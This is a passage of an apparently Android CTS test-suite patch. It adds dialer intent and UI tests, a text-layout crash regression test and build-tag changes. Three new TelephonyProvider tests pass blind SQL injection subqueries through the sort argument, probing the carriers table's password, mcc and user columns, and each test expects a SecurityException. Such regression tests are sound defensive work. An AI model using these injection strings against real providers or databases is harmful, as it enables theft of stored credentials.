+import androidx.test.InstrumentationRegistry;
+
 import java.util.List;
 
 
@@ -33,8 +40,13 @@
  * Verifies that certain privileged operations can only be performed by the default dialer.
  */
 public class DefaultDialerOperationsTest extends InstrumentationTestCase {
+    private static final int ACTIVITY_LAUNCHING_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+
     private Context mContext;
+    private UiDevice mUiDevice;
     private TelecomManager mTelecomManager;
+    private PackageManager mPackageManager;
     private PhoneAccountHandle mPhoneAccountHandle;
     private String mPreviousDefaultDialer = null;
     private String mSystemDialer = null;
@@ -43,6 +55,7 @@
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
@@ -55,6 +68,7 @@
             TestUtils.setDefaultDialer(getInstrumentation(), mSystemDialer);
         }
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mPackageManager = mContext.getPackageManager();
         final List<PhoneAccountHandle> accounts = mTelecomManager.getCallCapablePhoneAccounts();
         if (accounts != null && !accounts.isEmpty()) {
             mPhoneAccountHandle = accounts.get(0);
@@ -80,6 +94,48 @@
         assertEquals(TestUtils.PACKAGE, mTelecomManager.getDefaultDialerPackage());
     }
 
+    /** Default dialer should be the default package handling ACTION_DIAL. */
+    public void testActionDialHandling() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertEquals(info.activityInfo.packageName, mTelecomManager.getDefaultDialerPackage());
+    }
+
+    /** The package handling Intent ACTION_DIAL should be the same package showing the UI. */
+    public void testDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertTrue(info != null); // Default dialer should always handle it
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
+    }
+
+    /** The package handling Intent emergency dail should be the same package showing the UI. */
+    public void testEmergencyDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        if (info == null) {
+            // Skip the test if no package handles ACTION_EMERGENCY_DIAL
+            return;
+        }
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
+    }
+
     public void testVoicemailReadWritePermissions() throws Exception {
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
@@ -194,11 +250,12 @@
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
         }
-        final PackageManager pm = mContext.getPackageManager();
         final ComponentName name = new ComponentName(mContext,
                 "android.telecom.cts.MockDialerActivity");
         try {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                     PackageManager.DONT_KILL_APP);
             TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
             final String result = TestUtils.getDefaultDialer(getInstrumentation());
@@ -206,7 +263,9 @@
             assertTrue("Expected failure indicating that this was not an installed dialer app",
                     result.contains("is not an installed Dialer app"));
         } finally {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                     PackageManager.DONT_KILL_APP);
         }
 
@@ -229,4 +288,24 @@
         String reportedDialer = mTelecomManager.getSystemDialerPackage();
         assertEquals(mSystemDialer, reportedDialer);
     }
+
+    private void verifySamePackageForIntentHandlingAndUI(Intent intent, ResolveInfo info) {
+        String packageName = info.activityInfo.packageName;
+        assertTrue(!TextUtils.isEmpty(packageName));
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        try {
+            mContext.startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+
+            // The package handles the intent should be foreground
+            mUiDevice.wait(
+                    Until.hasObject(By.pkg(packageName).depth(0)),
+                    ACTIVITY_LAUNCHING_TIMEOUT_MILLIS);
+            mUiDevice.waitForIdle();
+        } finally {
+            mUiDevice.pressHome();
+            mUiDevice.waitForIdle();
+        }
+    }
 }
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
index 3d449f2..d54260b 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
@@ -18,6 +18,7 @@
 
 import android.content.ContentResolver;
 import android.database.Cursor;
+import android.net.Uri;
 import android.provider.Telephony.Carriers;
 import android.test.InstrumentationTestCase;
 
@@ -79,6 +80,20 @@
         }
     }
 
+    public void testNoAccessToPasswordThruMixedCase() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " PaSsWoRd LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
     public void testNoAccessToUser() {
         try {
             String selection = Carriers.CURRENT + " IS NOT NULL AND "
@@ -93,4 +108,33 @@
             // expected
         }
     }
+
+    public void testNoAccessViaSubqueries() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " mcc LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    public void testNoAccessToUserWithDifferentUri() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL AND "
+                    + Carriers.USER + " IS NOT NULL";
+            String[] selectionArgs = null;
+            String sort = "LIMIT CASE WHEN ((SELECT COUNT(*) FROM carriers WHERE"
+                    + " user LIKE 'a%') > 0) THEN 1 ELSE 0 END";
+            Cursor cursor = mContentResolver.query(Uri.parse("content://telephony/siminfo"),
+                    APN_PROJECTION, selection, selectionArgs, sort);
+            fail("Expected SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
 }
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index a8080b0..f3d34bf 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -48,5 +48,6 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 56a6c85..00856cd 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -1681,4 +1681,32 @@
         end = LOREM_IPSUM.length();
         testLineBackgroundSpanInRange(LOREM_IPSUM, start, end);
     }
+
+    // This is for b/140755449
+    @Test
+    public void testBidiVisibleEnd() {
+        TextPaint paint = new TextPaint();
+        // The default text size is too small and not useful for handling line breaks.
+        // Make it bigger.
+        paint.setTextSize(32);
+
+        final String input = "\u05D0aaaaaa\u3000 aaaaaa";
+        // To make line break happen, pass slightly shorter width from the full text width.
+        final int lineBreakWidth = (int) (paint.measureText(input) * 0.8);
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                input, 0, input.length(), paint, lineBreakWidth).build();
+
+        // Make sure getLineMax won't cause crashes.
+        // getLineMax eventually calls TextLine.measure which was the problematic method.
+        layout.getLineMax(0);
+
+        final Bitmap bmp = Bitmap.createBitmap(
+                layout.getWidth(),
+                layout.getHeight(),
+                Bitmap.Config.RGB_565);
+        final Canvas c = new Canvas(bmp);
+        // Make sure draw won't cause crashes.
+        // draw eventualy calls TextLine.draw which was the problematic method.
+        layout.draw(c);
+    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index e19dfe8..34ffd76 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -263,8 +263,18 @@
         assertTrue(mTextView.getScrollY() > previousScrollY);
         assertTrue(mTextView.getScrollX() < bottom);
 
+        assertTrue(getActionResult(new ActionRunnerWithResult() {
+            public void run() {
+                // move back up for the next test
+                mResult = method.onTouchEvent(mTextView, mSpannable, MotionEvent.obtain(now, now,
+                        MotionEvent.ACTION_MOVE, 0, -distFar, 0));
+            }
+        }));
+
         previousScrollY = mTextView.getScrollY();
-        final int distTooFar = (int) (-bottom * 10);
+        // further detracting mScaledTouchSlop from (-bottom * 10) so it is guaranteed to be
+        // greater than the touch slop value.
+        final int distTooFar = (int) (-bottom * 10) - mScaledTouchSlop;
         assertTrue(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 // move for long distance
diff --git a/tests/tests/transition/res/values/styles.xml b/tests/tests/transition/res/values/styles.xml
index 00303c9..be2272e 100644
--- a/tests/tests/transition/res/values/styles.xml
+++ b/tests/tests/transition/res/values/styles.xml
@@ -14,7 +14,7 @@
      limitations under the License.
      -->
 <resources xmlns:android="http://schemas.android.com/apk/res/android">
-  <style name="Theme_NoSwipeDismiss">
+  <style name="Theme_NoSwipeDismiss" parent="android:Theme.DeviceDefault">
     <item name="android:windowSwipeToDismiss">false</item>
   </style>
 </resources>
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index b574612..82ea994 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceInfo
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts mts
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)